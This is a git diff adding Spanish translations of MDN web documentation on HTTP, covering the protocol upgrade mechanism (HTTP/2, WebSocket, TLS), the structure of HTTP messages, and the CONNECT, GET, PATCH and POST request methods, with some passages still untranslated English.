Las distintas operaciones que se pueden realizar con HTTP: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, y solicitudes menos comunes como {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, o {{HTTPMethod("TRACE")}}.
+
Códigos de Respuesta de Estado HTTP
+
Los códigos de respuesta HTTP indican si una determinada petición HTTP se ha completado correctamente o no. Las respuestas se clasifican en cinco clases: respuestas informativas, respuestas de petición correcta, redirecciones, error del cliente y error del servidor.
+
CSP directives
+
Los campos de respuesta en la cabecera {{HTTPHeader("Content-Security-Policy")}} permiten a los administradores de sitios web controlar los recursos que el agente de usuario tiene permitido cargar en cierta página. Con unas pocas excepciones, las políticas implican origenes específicos del servidor y  los puntos finales de los scripts.
+
+ +

Herramientas y recursos

+ +

Herramientas útiles para usar y revisar conexiones HTTP.

+ +
+
Firefox Developer Tools
+
Network monitor (monitor de red)
+
Mozilla Observatory (observatorio de Mozilla)
+
+

Proyecto diseñado para ayudar a desarrolladores, adminitradores de sistemas y profesionales de la seguridad a configurar sus sitios web de forma segura y protegida.

+
+
RedBot
+
Una herramienta para comprobar el estado de las cabeceras de caché.
+
Cómo trabajan los navegadores
+
Artículo muy exhaustivo sobre el trabajo interno de los navegadores y el flujo de las peticiones a través del protocólo HTTP. Una lectura OBLIGATORIA para cualquier desarrollador web.
+
+
+
diff --git a/files/es/web/http/mecanismo_actualizacion_protocolo/index.html b/files/es/web/http/mecanismo_actualizacion_protocolo/index.html new file mode 100644 index 0000000000..74ef3b57f7 --- /dev/null +++ b/files/es/web/http/mecanismo_actualizacion_protocolo/index.html @@ -0,0 +1,246 @@ +--- +title: Mecanismo de actualización del protocolo +slug: Web/HTTP/mecanismo_actualizacion_protocolo +translation_of: Web/HTTP/Protocol_upgrade_mechanism +--- +
{{HTTPSidebar}}
+ +

El protocolo HTTP posee un mecanismo especifico para permitir que una conexión de comunicación ya establecida, pueda actualizar su protocolo a un nuevo protocolo, incluso si es incompatible. Este documento muestra este mecanismo y presenta ejemplos de posibles escenarios en los que se puede usar. 

+ +

Este mecanismo, siempre es iniciado por el cliente (con la única excepción de que el servidor use: {{anch("Server-initiated upgrade to TLS", "requerida actualización a TLS")}}), y el servidor puede aceptar o rechazar el cambio al nuevo protocolo. Esto hace posible comenzar una conexión usando un protocolo de uso común, como puede ser HTTP/1.1, y posteriormente pedir un cambio de protocolo a HTTP/2.0 o incluso WebSockets.

+ +

Acuerdo de conexión (handshake)

+ +

Las actualizaciones del protocolo de comunicación son siempre iniciadas por el cliente; no hay un mecanismo establecido  para que el servidor pida un cambio de protocolo. Cuando el cliente desea una actualización a un nuevo protocolo, lo hace mandando una petición normal al servidor con cualquier método ({{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, etc.). La petición ha de configurarse de manera especial, para que incluya en ella, la petición de actualización del protocolo. 

+ +

Específicamente la petición ha de incluir las dos siguientes cabeceras:

+ +
+
Connection: Upgrade
+
La cabecera de conexión (Connection) ha de tener el valor "Upgrade", para indicar que se está pidiendo una actualización del protocolo.
+
Upgrade: protocols
+
La cabecera de actualización (Upgrade) indica los protocolos deseados, en orden de preferencia, separados por comas.
+
+ +

Puede que sean necesarias otras cabeceras, dependiendo del protocolo que se pida.; por ejemplo: las actualizaciones a WebSocket necesitan cabeceras adicionales para definir la configuración de la conexión, así como para detalles de la seguridad. Para más detalles, lea la sección: {{anch("Upgrading to a WebSocket connection")}}.

+ +

El servidor, puede negarse a la actualización en este caso. Y este simplemente ignora la cabecera de actualización ("Upgrade") y responde con un estado normal, ( "200 OK" si todo es correcto, o 30x si quiere hacer una redirección, o 40x ó 50x  si no puede responder con el recurso requerido) — O puede  aceptar la actualización del protocolo de comunicación. En este caso, responde con un código "101 Switching Protocols"  y con una cabecera Upgrade que indica el protocolo elegido.

+ +

Justo después de enviar el código de estado  "101 Switching Protocols" se procederá a realizar el acuerdo de conexión (corresponde con el termino: 'handshake' en inglés). Si el nuevo protocolo lo necesitase, el servidor, enviaría una la respuesta a la petición inicial (la que contenía la cabecera de "Upgrade" ) , de acuerdo a las reglas del protocolo. 

+ +

El código de estado 101

+ +

El código de estado {{HTTPStatus(101)}} se manda en respuesta a una petición que contenga la cabecera de "Upgrade" para indicar que el emisor de la petición desea actualizar el protocolo de comunicación. Si se responde con el código de estado "101 Switching Protocols", se han de incluir también  las cabeceras Connection y Upgrade para definir el protocolo elegido. Más adelante en el texto se dan más detalles del funcionamiento de este mecanismo y ejemplos.

+ +

Se puede utilizar el mecanismo de actualización del protocolo para pasar de una conexión en HTTP/1.1 a una conexión con HTTP/2, pero no se permite cambiar el protocolo en el otro sentido. De hecho, el código de estado  "101 Switching Protocols", no está incluido en HTTP/2, ya que HTTP/2 no posee el mecanismo de actualización de protocolo. 

+ +

Usos frecuentes del mecanismo de actualización de protocolo

+ +

A continuación se presentan los casos más frecuentes del mecanismo de actualización de protocolo, mediante el uso de la cabecera "Upgrade". 

+ +

Actualización a una conexión con HTTP/2

+ +

El procedimiento estándar, es iniciar una conexión usando HTTP/1.1, debido a su amplio uso. Y a continuación, hacer una petición de actualización de protocolo, a HTTP/2. De esta manera, se tiene una conexión de comunicaciones, incluso si el servidor no soporta protocolo HTTP/2. De todas formas, únicamente es posible actualizar el protocolo, a una versión de HTTP/2 no segura (no encriptada). Esto se realiza indicando el protocolo deseado como: h2c, que indica "HTTP/2 Cleartext". Además es necesario que se defina en los campos de cabecera las propiedades HTTP2-Settings. 

+ +
GET / HTTP/1.1
+Host: destination.server.ext
+Connection: Upgrade, HTTP2-Settings
+Upgrade: h2c
+HTTP2-Settings: base64EncodedSettings
+
+ +

Aquí, base64EncodedSettings es una propiedad de HTTP/2 "SETTINGS" del contenido de la trama que se expresa en formato base64url, seguido de un carácter de igual, "=",  omitido aquí para que se pudiera incluir en esta cabecera expresada en texto.

+ +
+

El formato base64url fno es el mismo que el formato estándar Base64.  La única diferencia es que para asegurar que la cadena de caracteres es segura para que pueda usarse con URLs y nombres de archivos, los caracteres 62 y 63 en el alfabeto de este formato se cambian de : "+" y "/" a: "-" (menos) y "_"  respectivamente.

+
+ +

Si el servidor no puede hacer el cambio a HTTP/2, este responderá en HTTP/1 como si fuera una petición normal (con los códigos: "200 OK" si todo es correcto, o 30x si quiere hacer una redirección, o 40x ó 50x  si no puede responder con el recurso pedido). Así una petición de una página que exista será respondida con "HTTP/1.1 200 OK"  seguido del resto de la cabecera de la página. Si el servidor, si que puede cambiar al protocolo HTTP/2 , la respuesta será:  "HTTP/1.1 101 Switching Protocols". A continuación, se presenta un ejemplo de una posible respuesta, a una petición de actualización a HTTP/2.

+ +
HTTP/1.1 101 Switching Protocols
+Connection: Upgrade
+Upgrade: h2c
+
+[standard HTTP/2 server connection preface, etc.]
+ +

A continuación de la línea en blanco, que sigue al final de la cabecera de respuesta; el servidor, indicará los parámetros ("SETTINGS") de la nueva comunicación con HTTP/2.

+ +

Mejorar a una conexión WebSocket

+ +

By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the WebSocket API, or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as:

+ +
webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");
+ +

The {{domxref("WebSocket.WebSocket", "WebSocket()")}} constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you.

+ +
+

You can also use the "wss://" URL scheme to open a secure WebSocket connection.

+
+ +

If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, as follows:

+ +
Connection: Upgrade
+Upgrade: websocket
+ +

Cabeceras específicas de WebSocket

+ +

The following headers are involved in the WebSocket upgrade process. Other than the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.

+ +

{{HTTPHeader("Sec-WebSocket-Extensions")}}

+ +

Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one Sec-WebSocket-Extension header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.

+ +
Sec-WebSocket-Extensions: extensions
+ +
+
extensions
+
A comma-separated list of extensions to request (or agree to support). These should be selected from the IANA WebSocket Extension Name Registry. Extensions which take parameters do so using semicolon delineation.
+
+ +

For example:

+ +
Sec-WebSocket-Extensions: superspeed, colormode; depth=16
+ +

{{HTTPHeader("Sec-WebSocket-Key")}}

+ +

Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this does not provide security. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."

+ +

This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method.

+ +
Sec-WebSocket-Key: key
+ +
+
key
+
The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade reponse to you.
+
+ +

The server's response's Sec-WebSocket-Accept header will have a value computed based upon the specified key.

+ +

{{HTTPHeader("Sec-WebSocket-Protocol")}}

+ +

The Sec-WebSocket-Protocol header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a Sec-WebSocket-Protocol header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.

+ +
Sec-WebSocket-Protocol: subprotocols
+ +
+
subprotocols
+
A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the IANA WebSocket Subprotocol Name Registry or may be a custom name jointly understood by the client and the server.
+
+ +

{{HTTPHeader("Sec-WebSocket-Version")}}

+ +
Encabezado de petición
+ +

Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.

+ +
Sec-WebSocket-Version: version
+ +
+
version
+
The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the IANA WebSocket Version Number Registry. The most recent final version of the WebSocket protocol is version 13.
+
+ +
Encabezado de respuesta
+ +

If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a Sec-WebSocket-Version header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no Sec-WebSocket-Version header is included in the response.

+ +
Sec-WebSocket-Version: supportedVersions
+ +
+
supportedVersions
+
A comma-delineated list of the WebSocket protocol versions supported by the server.
+
+ +

Cabeceras exclusivas de respuesta

+ +

The response from the server may include these.

+ +

{{HTTPHeader("Sec-WebSocket-Accept")}}

+ +

Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the repsonse headers.

+ +
Sec-WebSocket-Accept: hash
+ +
+
hash
+
If a Sec-WebSocket-Key header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then base64 encoded to obtain the value of this property.
+
+ +

Mejora a HTTP sobre TLS iniciada por el cliente

+ +

You can also upgrade an HTTP/1.1 connection to TLS/1.0. The main advantages to this are that you can avoid using URL redirection from "http://" to "https://" on the server and you can easily use TLS on virtual hosts. This may, however, introduce problems with proxy servers.

+ +

Upgrading an HTTP connection to use {{Glossary("TLS")}} uses the {{HTTPHeader("Upgrade")}} header with the token "TLS/1.0". If the switch is made successfully, the original request (which included Upgrade) is completed as normal, but on the TLS connection.

+ +

The request to TLS can be made either optionally or mandatorily.

+ +

Mejora opcional

+ +

To upgrade to TLS optionally (that is, allowing the connection to continue in cleartext if the upgrade to TLS fails), you simply use the Upgrade and {{HTTPHeader("Connection")}} headers as expected. For example, given the original request:

+ +
GET http://destination.server.ext/secretpage.html HTTP/1.1
+Host: destination.server.ext
+Upgrade: TLS/1.0
+Connection: Upgrade
+ +

If the server does not support TLS upgrade, or is unable to upgrade to TLS at the time, it responds with a standard HTTP/1.1 response, such as:

+ +
HTTP/1.1 200 OK
+Date: Thu, 17 Aug 2017 21:07:44 GMT
+Server: Apache
+Last-Modified: Thu, 17 Aug 2017 08:30:15 GMT
+Content-Type: text/html; charset=utf-8
+Content-Length: 31374
+
+<html>
+  ...
+</html>
+
+ +

If the server does support TLS upgrade and wishes to permit the upgrade, it responds with the "101 Switching Protocols" response code, like this:

+ +
HTTP/1.1 101 Switching Protocols
+Upgrade: TLS/1.0, HTTP/1.1
+ +

Once the TLS handshake is complete, the original request will be responded to as normal.

+ +

Mejora obligatoria

+ +

To request a mandatory upgrade to TLS—that is, to upgrade and fail the connection if the upgrade is not successful—your first request must be an {{HTTPMethod("OPTIONS")}} request, like this:

+ +
OPTIONS * HTTP/1.1
+Host: destination.server.ext
+Upgrade: TLS/1.0
+Connection: Upgrade
+ +

If the upgrade to TLS succeeds, the server will respond with "101 Switching Protocols" as described in the previous section. If the upgrade fails, the HTTP/1.1 connection will fail.

+ +

Mejora a TLS iniciada por el servidor

+ +

This works roughly the same way as a client-initiated upgrade; an optional upgrade is requested by adding the {{HTTPHeader("Upgrade")}} header to any message. A mandatory upgrade, though, works slightly differently, in that it requests the upgrade by replying to a message it receives with the {{HTTPStatus(426)}} status code, like this:

+ +
HTTP/1.1 426 Upgrade Required
+Upgrade: TLS/1.1, HTTP/1.1
+Connection: Upgrade
+
+<html>
+... Human-readable HTML page describing why the upgrade is required
+    and what to do if this text is seen ...
+</html>
+ +

If the client receiving the "426 Upgrade Required" response is willing and able to upgrade to TLS, it should then start the same process covered above under {{anch("Client-initiated upgrade to TLS")}}.

+ +

Referencias

+ + diff --git a/files/es/web/http/messages/index.html b/files/es/web/http/messages/index.html new file mode 100644 index 0000000000..2db354a166 --- /dev/null +++ b/files/es/web/http/messages/index.html @@ -0,0 +1,140 @@ +--- +title: Mensajes HTTP +slug: Web/HTTP/Messages +translation_of: Web/HTTP/Messages +--- +
{{HTTPSidebar}}
+ +

Los mensajes HTTP, son los medios por los cuales se intercambian datos entre servidores y clientes. Hay dos tipos de mensajes: peticiones, enviadas por el cliente al servidor, para pedir el inicio de una acción; y respuestas, que son la respuesta del servidor. 

+ +

Los mensajes HTTP están compuestos de texto, codificado en ASCII, y pueden comprender múltiples líneas. En HTTP/1.1, y versiones previas del protocolo, estos mensajes eran enviados de forma abierta a través de la conexión. En HTTP/2.0 los mensajes, que anteriormente eran legibles directamente, se conforman mediante tramas binarias codificadas para aumentar la optimización y rendimiento de la transmisión.

+ +

Los desarrolladores de páginas Web, o administradores de sitios Web, desarrolladores... raramente codifican directamente estos mensajes HTTP. Normalmente especifican estos mensajes HTTP, mediante archivos de configuración (para proxies, y servidores), APIs (para navegadores) y otros medios.

+ +

From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent.

+ +

El mecanismo de tramas binarias de HTTP/2 ha sido diseñado para que no necesite ninguna modificación de las APIs o archivos de configuración utilizados: es totalmente transparente para el usuario.

+ +

Las peticiones y respuestas HTTP, comparten una estructura similar, compuesta de:

+ +
    +
  1. Una línea de inicio ('start-line' en inglés) describiendo la petición a ser implementada, o su estado, sea de éxito o fracaso. Esta línea de comienzo, es siempre una única línea. 
    2. +
  2. Un grupo opcional de cabeceras HTTP, indicando la petición o describiendo el cuerpo ('body' en inglés) que se incluye en el mensaje. 
    3. +
  3. Una línea vacía ('empty-line' en inglés) indicando toda la meta-información ha sido enviada.
    4. +
  4. Un campo de cuerpo de mensaje opcional ('body' en inglés) que lleva los datos asociados con la petición (como contenido de un formulario HTML), o los archivos o documentos asociados a una respuesta (como una página HTML, o un archivo de audio, vídeo ... ) . La presencia del cuerpo y su tamaño es indicada en la línea de inicio y las cabeceras HTTP.
    5. +
+ +

La línea de inicio y las cabeceras HTTP, del mensaje, son conocidas como la cabeza de la peticiones, mientras que su contenido en datos se conoce como el cuerpo del mensaje.

+ +

Requests and responses share a common structure in HTTP

+ +

Peticiones HTTP

+ +

Línea de inicio

+ +

Las peticiones HTTP son mensajes enviados por un cliente, para iniciar una acción en el servidor. Su línea de inicio está formada por tres elementos: 

+ +
    +
  1. Un método HTTP, un verbo como: {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} o {{HTTPMethod("POST")}}) o un nombre como: {{HTTPMethod("HEAD")}} o  {{HTTPMethod("OPTIONS")}}), que describan la acción que se pide sea realizada. Por ejemplo, GET indica que un archivo ha de ser enviado hacia el cliente, o POST indica que hay datos que van a ser enviados hacia el servidor (creando o modificando un recurso, o generando un documento temporal para ser enviado).
    2. +
  2. El objetivo de una petición, normalmente es una {{glossary("URL")}}, o la dirección completa del protocolo, puerto y dominio también suelen ser especificados por el contexto de la petición. El formato del objetivo de la petición varia según los distintos métodos HTTP. Puede ser: +
      +
    • Una dirección absoluta, seguida de un signo de cierre de interrogación  '?' y un texto de consulta. Este es el formato más comun, conocido como el formato original ('origin form' en inglés), se usa en los métodos GET, POST, HEAD, y OPTIONS . 
      + POST / HTTP 1.1
      + GET /background.png HTTP/1.0
      + HEAD /test.html?query=alibaba HTTP/1.1
      + OPTIONS /anypage.html HTTP/1.0
      • +
    • Una URL completa; conocido como el formato absoluto, usado mayormente con GET cuando se conecta a un proxy.
      + GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1
      • +
    • El componente de autoriade de una URL, formado por el nombre del domínio y opcionalmente el puerto (el puerto precedido por el simbolo ':' ), se denomina a este formato como el formato de autoridad. Unicamente se usa con  CONNECT cuando se establece un tunel HTTP.
      + CONNECT developer.mozilla.org:80 HTTP/1.1
      • +
    • El formato de asterisco, se utliza un asterisco ('*')  junto con las opciones: OPTIONS , representando al servidor entero en conjunto. 
      + OPTIONS * HTTP/1.1
      • +
    +
    3. +
  3. la versión de HTTP, la cual define la estructura de los mensajes, actuando como indicador, de la versión que espera que se use para la respuesta.
    4. +
+ +

Cabeceras

+ +

Las cabeceras HTTP  de una petición siguen la misma estructura que la de una cabecera HTTP. Una cadena de caracteres, que no diferencia mayusculas ni minusculas, seguida por dos puntos  (':')  y un valor cuya estructura depende de la cabecera. La cabecera completa, incluido el valor, ha de ser formada en una única línea, y pude ser bastante larga. 

+ +

Hay bastantes cabeceras posibles. Estas se pueden clasificar en varios grupos: 

+ + + +

Example of headers in an HTTP request

+ +

Cuerpo

+ +

La parte final de la petición el el cuerpo. No todas las peticiones llevan uno: las peticiones que reclaman datos, como GET, HEAD, DELETE, o OPTIONS, normalmente, no necesitan ningún cuerpo. Algunas peticiones pueden mandar peticiones al servidor con el fin de actualizarlo: como es el caso con la petición POST  (que contiene datos de un formulario HTML). 

+ +

Los cuerpos pueden ser dividos en dos categorias:

+ + + +

Respuestas HTTP

+ +

Línea de estado

+ +

La línea de inicio de una respuesta HTTP, se llama la línea de estado, y contienen la siguiente información: 

+ +
    +
  1. La versión del protocolo, normalmente HTTP/1.1.
    2. +
  2. Un código de estado, indicando el éxito o fracaso de la petición. Códigos de estado muy comunes son:  {{HTTPStatus("200")}}, {{HTTPStatus("404")}}, o {{HTTPStatus("302")}}
    3. +
  3. Un texto de estado, que es una breve descripción, en texto, a modo informativo, de lo que significa el código de estado, con el fin de que una persona pueda interpretar el mensaje HTTP.
    4. +
+ +

Una línea de estado típica es por ejemplo:  HTTP/1.1 404 Not Found.

+ +

Cabeceras

+ +

Las cabeceras HTTP para respuestas siguen también la misma estructura como cualquier otra cabecera: una cadena de texto, que no diferencia entre mayusculas y minúsculas, seguida por dos puntos (':') y un valor cuya estructura depende del tipo de cabecera. Toda la cabecera incluido su valor, se ha de expresar en una única línea. 

+ +

Existen varias cabeceras posibles. Estas se puede dividir en distintos grupos:

+ + + +

*Example of headers in an HTTP response

+ +

Cuerpo

+ +

La última parte del mensaje de respuesta el es 'cuerpo'. No todas las respuestas tienen uno, respuestas con un código de estado como {{HTTPStatus("201")}} o {{HTTPStatus("204")}} normalmente prescinden de él.

+ +

De forma general, los cuerpos se pueden diferenciar en tres categorias: 

+ + + +

Tramas HTTP/2

+ +

Los mensajes HTTP/1.x tienen algunas desventajas por su no muy alta eficiencia en la transmisión.

+ + + +

HTTP/2 introduce un paso extra: divide los mensajes HTTP/1.x en tramas que integra en un flujo de datos. Los datos y las tramas de las cabeceras, se separan, esto permite  la compresión de las cabeceras. Varios flujos de datos pueden combinarse juntos, y entonces se puede usar un procedimiento de multiplexación, permitiendo un uso más eficiente, de las conexiónes TCP.

+ +

HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization.

+ +

Las tramas HTTP son trasnparentes para los desarrolladores Web. Este paso adicional en HTTP/2, de los mensajes HTTP/1.0 y el protocolo por debajo. No son necesarios cambios en las APIs usadas por los desarrolladores Web para utilizar estas tramas HTTP, cuando las usan ambos: servidor y navegador. 

+ +

Conclusión

+ +

Los mensajes HTTP son la clave para usar HTTP; su estructura es sencilla y son fácilmente ampliables. El protocolo HTTP/2 añade un mecanismo de tramas y una capa intermedia entre la sintaxis de HTTP/1.x y su protocolo inferior, sin modificarlo radicalmente: se construye sobre mecanismos de transmisión probados.

diff --git a/files/es/web/http/methods/connect/index.html b/files/es/web/http/methods/connect/index.html new file mode 100644 index 0000000000..b918b97996 --- /dev/null +++ b/files/es/web/http/methods/connect/index.html @@ -0,0 +1,85 @@ +--- +title: CONNECT +slug: Web/HTTP/Methods/CONNECT +tags: + - HTTP + - Método de petición +translation_of: Web/HTTP/Methods/CONNECT +--- +

{{HTTPSidebar}}

+ +

El método HTTP CONNECT inicia la comunicación en dos caminos con la fuente del recurso solicitado. Puede ser usado para abrir una comunicación tunel.

+ +

Por ejemplo, el método CONNECT puede ser usado para acceder a sitios web que usan {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). El cliente realiza la petición al Servidor Proxy HTTP para establecer una conexión tunel hacia un destino deseado. Entonces el servidor Proxy procede a realizar la conexión en nombre del cliente, una vez establecida la conexión con el servidor deseado, el servidor Proxy envía los datos desde y hacia el cliente.

+ +

El método CONNECT es un método de salto entre servidores.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Contiene cuerpo la peticiónNo
La respuesta exitosa contiene cuerpoSi
{{Glossary("Safe")}}No
{{Glossary("Idempotent")}}No
{{Glossary("Cacheable")}}No
Permitido en formas HTMLNo
+ +

Sintaxis

+ +
CONNECT www.example.com:443 HTTP/1.1
+
+ +

Ejemplo

+ +

Algunos servidores proxy pueden necesitar autorización para crear tuneles. Consulta el encabezado {{HTTPHeader("Proxy-Authorization")}} .

+ +
CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=
+ +

Especificaciones

+ + + + + + + + + + + + +
SpecificaciónTítulo
{{RFC("7231", "CONNECT", "4.3.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad entre navegadores

+ + + +

{{Compat("http.methods.CONNECT")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/methods/get/index.html b/files/es/web/http/methods/get/index.html new file mode 100644 index 0000000000..9c8dfaf09b --- /dev/null +++ b/files/es/web/http/methods/get/index.html @@ -0,0 +1,69 @@ +--- +title: GET +slug: Web/HTTP/Methods/GET +translation_of: Web/HTTP/Methods/GET +--- +
{{HTTPSidebar}}
+ +

El método HTTP GET solicita una representación del recurso especificado. Las solicitudes que usan GET solo deben recuperar datos.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Petición con cuerpoNo
Respuesta válida con cuerpoSí
{{Glossary("Seguro")}}Sí
{{Glossary("idempotente")}}Sí
{{Glossary("Cacheable")}}Sí
Permitido en HTML formsSí
+ +

Sintaxis

+ +
GET /index.html
+
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "GET", "4.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad con Navegadores

+ + + +

{{Compat("http.methods.GET")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/methods/index.html b/files/es/web/http/methods/index.html new file mode 100644 index 0000000000..daea5bde6c --- /dev/null +++ b/files/es/web/http/methods/index.html @@ -0,0 +1,69 @@ +--- +title: Métodos de petición HTTP +slug: Web/HTTP/Methods +translation_of: Web/HTTP/Methods +--- +
{{HTTPSidebar}}
+ +

HTTP define un conjunto de métodos de petición para indicar la acción que se desea realizar para un recurso determinado. Aunque estos también pueden ser sustantivos, estos métodos de solicitud a veces son llamados HTTP verbs. Cada uno de ellos implementan una semántica diferente, pero algunas características similares son compartidas por un grupo de ellos: ej. un request method puede ser {{glossary("safe")}}, {{glossary("idempotent")}}, o {{glossary("cacheable")}}.

+ +
+
GET
+
El método GET  solicita una representación de un recurso específico. Las peticiones que usan el método GET sólo deben recuperar datos.
+
HEAD
+
El método HEAD pide una respuesta idéntica a la de una petición GET, pero sin el cuerpo de la respuesta.
+
POST
+
El método POST se utiliza para enviar una entidad a un recurso en específico, causando a menudo un cambio en el estado o efectos secundarios en el servidor.
+
PUT
+
+

El modo PUT reemplaza todas las representaciones actuales del recurso de destino con la carga útil de la petición.

+
+
DELETE
+
El método DELETE borra un recurso en específico.
+
CONNECT
+
+

El método CONNECT establece un túnel hacia el servidor identificado por el recurso.

+
+
OPTIONS
+
El método OPTIONS es utilizado para describir las opciones de comunicación para el recurso de destino.
+
TRACE
+
+

El método TRACE  realiza una prueba de bucle de retorno de mensaje a lo largo de la ruta al recurso de destino.

+
+
PATCH
+
El método PATCH  es utilizado para aplicar modificaciones parciales a un recurso.
+
+ +

Especificaciones

+ + + + + + + + + + + + + + + + + + + +
EspecificaciónTítuloComentario
{{RFC("7231", "Métodos de petición", "4")}}Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semánticas y ContenidoEspecifica GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.
{{RFC("5789", "Método Patch", "2")}}Método PATCH para HTTPEspecifica PATCH.
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http/methods")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/methods/patch/index.html b/files/es/web/http/methods/patch/index.html new file mode 100644 index 0000000000..c8a981cf82 --- /dev/null +++ b/files/es/web/http/methods/patch/index.html @@ -0,0 +1,98 @@ +--- +title: PATCH +slug: Web/HTTP/Methods/PATCH +tags: + - HTTP + - Método HTTP + - Referencia + - Request method +translation_of: Web/HTTP/Methods/PATCH +--- +
{{HTTPSidebar}}
+ +

El método HTTP PATCH aplica modificaciones parciales a un recurso.

+ +

El método HTTP PUT únicamente permite reemplazar completamente un documento. A diferencia de PUT, el método PATCH no es idempotente, esto quiere decir que peticiones identicas sucesivas pueden tener efectos diferentes. Sin embargo,  es posible emitir peticiones PATCH de tal forma que sean idempotentes.

+ +

PATCH (al igual que POST) puede provocar efectos secundarios a otros recursos.

+ +

Para averiguar si un servidor soporta PATCH, el servidor puede notificar su compatibilidad al añadirlo a la lista en el header: {{HTTPHeader("Allow")}} o {{HTTPHeader("Access-Control-Allow-Methods")}} (para CORS).

+ +

Otra indicación (implícita) de que las peticiones PATCH son permitidas, es la presencia del header: {{HTTPHeader("Accept-Patch")}}, el cual especifica los formatos de documento patch aceptados por el servidor. 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Petición con cuerpoSí
Respuesta exitosa con cuertoSí
{{Glossary("Seguro")}}No
{{Glossary("Idempotente")}}No
{{Glossary("Cacheable")}}No
Permitido en formularios HTMLNo
+ +

Sintaxis

+ +
PATCH /file.txt HTTP/1.1
+
+ +

Ejemplo

+ +

Petición

+ +
PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[description of changes]
+ +

Respuesta

+ +

Una respuesta exitosa es indicada con un código de respuesta {{HTTPStatus("204")}}, porque la respuesta no tiene mensaje en el body. (el cual tendría una respuesta con el código 200). Tenga en cuenta que también se pueden utilizar otros códigos.

+ +
HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("5789", "PATCH")}}PATCH Method for HTTP
+ +

Ver también

+ + diff --git a/files/es/web/http/methods/post/index.html b/files/es/web/http/methods/post/index.html new file mode 100644 index 0000000000..e89357c05d --- /dev/null +++ b/files/es/web/http/methods/post/index.html @@ -0,0 +1,126 @@ +--- +title: POST +slug: Web/HTTP/Methods/POST +tags: + - HTTP + - Metodo de pedido + - Referencia +translation_of: Web/HTTP/Methods/POST +--- +
{{HTTPSidebar}}
+ +
El método HTTP POST envía datos al servidor. El tipo del cuerpo de la solicitud es indicada por la cabecera  {{HTTPHeader("Content-Type")}}.
+ +
+ +
La diferencia entre PUT y {{HTTPMethod("POST")}} es que PUT es idempotente: llamarlo una o varias veces sucesivamente tiene el mismo efecto (no tiene efecto secundario // colateral), mientras que varios POST idénticos pueden tener efectos adicionales, como pasar una orden muchas veces.
+ +
+ +

Una solicitud POST es tipicamente enviada por un formulario HTML y resulta en un cambio en el servidor. En este caso, el tipo de contenido es seleccionado poniendo la cadena de texto adecuada en el atributo {{htmlattrxref("enctype", "form")}} del elemento {{HTMLElement("form")}} o el atributo {{htmlattrxref("formenctype", "input")}}  de los elementos {{HTMLElement("input") }} o {{HTMLElement("button")}} :

+ + + +

